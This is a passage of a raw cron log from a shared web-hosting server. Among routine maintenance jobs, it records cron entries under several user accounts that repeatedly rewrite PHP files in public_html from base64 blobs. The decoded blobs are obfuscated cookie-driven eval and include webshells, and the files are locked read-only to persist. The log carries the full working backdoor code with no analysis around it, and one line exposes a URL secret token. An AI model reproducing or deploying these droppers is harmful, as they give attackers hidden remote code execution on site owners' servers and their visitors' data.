"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:19:01 medusa CROND[29710]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:19:01 medusa CROND[29711]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:19:01 medusa CROND[29712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:19:01 medusa CROND[29713]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:19:01 medusa CROND[29716]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:19:01 medusa CROND[29718]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:19:01 medusa CROND[29719]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:19:01 medusa CROND[29720]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:19:01 medusa CROND[29722]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:19:01 medusa CROND[29717]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:20:01 medusa CROND[19373]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 15:20:01 medusa CROND[19377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:20:01 medusa CROND[19378]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 15:20:01 medusa CROND[19511]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 15:20:01 medusa CROND[19513]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 15:20:01 medusa CROND[19514]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:20:01 medusa CROND[19518]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 15:20:01 medusa CROND[19519]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:20:01 medusa CROND[19515]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:20:01 medusa CROND[19512]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:20:01 medusa CROND[19521]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:20:01 medusa CROND[19522]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:20:01 medusa CROND[19523]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 15:20:01 medusa CROND[19524]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:20:01 medusa CROND[19516]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:20:01 medusa CROND[19529]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:20:01 medusa CROND[19527]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:20:01 medusa CROND[19535]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 15:20:01 medusa CROND[19544]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:20:01 medusa CROND[19549]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:20:01 medusa CROND[19550]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:20:01 medusa CROND[19551]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 15:20:01 medusa CROND[19546]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:20:01 medusa CROND[19555]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:20:01 medusa CROND[19547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:20:01 medusa CROND[19552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:20:01 medusa CROND[19554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:20:01 medusa CROND[19548]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:20:01 medusa CROND[19570]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:20:01 medusa CROND[19562]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 15:21:01 medusa CROND[9547]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:21:02 medusa CROND[9662]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 15:21:02 medusa CROND[9665]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1